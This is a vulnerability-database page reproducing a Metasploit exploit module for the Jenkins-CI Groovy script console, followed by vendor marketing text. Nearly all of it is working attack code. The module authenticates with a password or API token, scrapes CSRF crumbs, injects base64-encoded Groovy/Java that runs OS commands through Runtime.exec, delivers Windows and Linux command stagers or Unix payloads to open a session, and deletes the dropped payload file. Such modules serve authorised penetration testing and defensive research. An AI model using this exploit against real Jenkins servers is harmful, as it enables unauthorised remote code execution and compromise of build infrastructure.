Lucene search
K

Jenkins-CI Script-Console Java Execution

🗓️ 20 Oct 2014 23:03:24Reported by Spencer McIntyre, jamcut, thesubtletyType 
metasploit
 metasploit
🔗 www.rapid7.com👁 103 Views

Jenkins-CI Script-Console Java Execution This module uses the Jenkins-CI Groovy script console to execute OS commands using Java. It includes functionality for Windows, Linux, and Unix systems. The module provides options for authentication and API token usage for the Jenkins-CI application. It also allows the execution of commands and requests on the server

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HTTP::Jenkins

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Jenkins-CI Script-Console Java Execution',
        'Description' => %q{
          This module uses the Jenkins-CI Groovy script console to execute
          OS commands using Java.
        },
        'Author' => [
          'Spencer McIntyre',
          'jamcut',
          'thesubtlety'
        ],
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'WfsDelay' => '10'
        },
        'References' => [
          ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
        ],
        'Platform' => %w[win linux unix],
        'Targets' => [
          [
            'Windows',
            {
              'Arch' => [ ARCH_X64, ARCH_X86 ],
              'Platform' => 'win',
              'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
            }
          ],
          ['Linux', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'linux' }],
          ['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x22" } }]
        ],
        'DisclosureDate' => '2013-01-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
        OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
        OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
        OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
      ]
    )

    self.needs_cleanup = true
  end

  def post_auth?
    true
  end

  def check
    uri = target_uri
    uri.path = normalize_uri(uri.path)
    uri.path << '/' if uri.path[-1, 1] != '/'
    res = send_request_cgi({ 'uri' => "#{uri.path}login" })
    if res && res.headers.include?('X-Jenkins')
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def on_new_session(_client)
    if !@to_delete.nil?
      print_warning("Deleting #{@to_delete} payload file")
      execute_command("rm #{@to_delete}")
    end
  end

  # This method takes a command and options then attempts to make a request and returns a response
  #
  # @param [String] cmd The cmd used
  # @param [String] _opts Request options
  # @return [Rex::Proto::Http::Response, nil] res The result of the request
  def http_send_request(cmd)
    request_parameters = {
      'method' => 'POST',
      'uri' => normalize_uri(@uri.path, 'script'),
      'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
      'vars_post' =>
        {
          'script' => java_craft_runtime_exec(cmd),
          'Submit' => 'Run'
        }
    }
    request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
    send_request_cgi(request_parameters)
  end

  # This method takes a command and options then attempts to make a request to send the command
  #
  # @param [String] cmd The cmd used
  # @param [String] _opts Request options
  # @return [Rex::Proto::Http::Response] res The response of the request
  def http_send_command(cmd, _opts = {})
    res = http_send_request(cmd)

    fail_with(Failure::Unknown, 'Failed to execute the command.') if res.nil?

    # Attempt to login if we haven't previously
    if res.code == 401 && !@attempted_login
      print_status('Authentication required for Jenkins-CI Groovy script console - Logging in...')
      attempt_jenkins_login
      res = http_send_request(cmd)
    end

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to Jenkins - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200

    res
  end

  def java_craft_runtime_exec(cmd)
    vars = Rex::RandomIdentifier::Generator.new(
      Rex::RandomIdentifier::Generator::JavaOpts
    )
    jcode = <<~JCODE
      String #{vars[:encoded]} = "#{Rex::Text.encode_base64(cmd)}";
      byte[] #{vars[:decoded]};
      try {
        #{vars[:decoded]} = Base64.getDecoder().decode(#{vars[:encoded]});
      } catch(groovy.lang.MissingPropertyException e) {
        Object #{vars[:decoder]} = Eval.me("new sun.misc.BASE64Decoder()");
        #{vars[:decoded]} = #{vars[:decoder]}.decodeBuffer(#{vars[:encoded]});
      }
    JCODE

    jcode << "String[] #{vars[:cmd_array]} = new String[3];\n"
    if target['Platform'] == 'win'
      jcode << "#{vars[:cmd_array]}[0] = \"cmd.exe\";\n"
      jcode << "#{vars[:cmd_array]}[1] = \"/c\";\n"
    else
      jcode << "#{vars[:cmd_array]}[0] = \"/bin/sh\";\n"
      jcode << "#{vars[:cmd_array]}[1] = \"-c\";\n"
    end
    jcode << "#{vars[:cmd_array]}[2] = new String(#{vars[:decoded]}, \"UTF-8\");\n"
    jcode << "Runtime.getRuntime().exec(#{vars[:cmd_array]});\n"
    jcode
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Attempting to execute: #{cmd}")
    http_send_command(cmd.to_s)
  end

  # This method makes calls to multiple methods to handle Jenkins login attempts
  def attempt_jenkins_login
    @attempted_login = true
    login_uri = jenkins_uri_check(@uri, keep_cookies: true)
    status, _proof = jenkins_login(datastore['USERNAME'], datastore['PASSWORD'], login_uri)

    if status == Metasploit::Model::Login::Status::INCORRECT
      fail_with(Msf::Module::Failure::NoAccess, "Incorrect credentials - #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
    elsif status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
      fail_with(Msf::Module::Failure::UnexpectedReply, 'Unexpected reply from server')
    end
  end

  def exploit
    @attempted_login = false
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    @uri.path << '/' if @uri.path[-1, 1] != '/'
    print_status('Checking access to the script console')
    res = send_request_cgi({ 'uri' => "#{@uri.path}script" })
    fail_with(Failure::Unknown, 'No Response received') if !res

    @crumb = nil
    if res.code != 200
      if datastore['API_TOKEN'].present?
        print_status('Authenticating with token...')
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(@uri.path, 'crumbIssuer/api/json'),
          'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
        })
        if (res && (res.code == 401))
          fail_with(Failure::NoAccess, 'Login failed')
        end
      else
        print_status('Logging in...')
        attempt_jenkins_login
        res = send_request_cgi({ 'uri' => "#{@uri.path}script" })

        if res.code == 403
          fail_with(Failure::NoAccess, "#{datastore['USERNAME']} does not have permissions to complete this request")
        elsif res.code != 200
          fail_with(Failure::UnexpectedReply, 'Unexpected reply from server')
        end
      end
    else
      print_status('No authentication required, skipping login...')
    end

    if res.body =~ /"\.crumb", "([a-z0-9]*)"/
      print_status("Using CSRF token: '#{Regexp.last_match(1)}' (.crumb style)")
      @crumb = { name: '.crumb', value: Regexp.last_match(1) }
    elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
      print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v1)")
      @crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
    elsif res.body =~ /data-crumb-value="([a-z0-9]*)"/
      print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v2)")
      @crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
    end

    case target['Platform']
    when 'win'
      print_status("#{rhost}:#{rport} - Sending command stager...")
      execute_cmdstager({ linemax: 2049 })
    when 'unix'
      print_status("#{rhost}:#{rport} - Sending payload...")
      http_send_command(payload.encoded.to_s)
    when 'linux'
      print_status("#{rhost}:#{rport} - Sending Linux stager...")
      execute_cmdstager({ linemax: 2049 })
    end

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation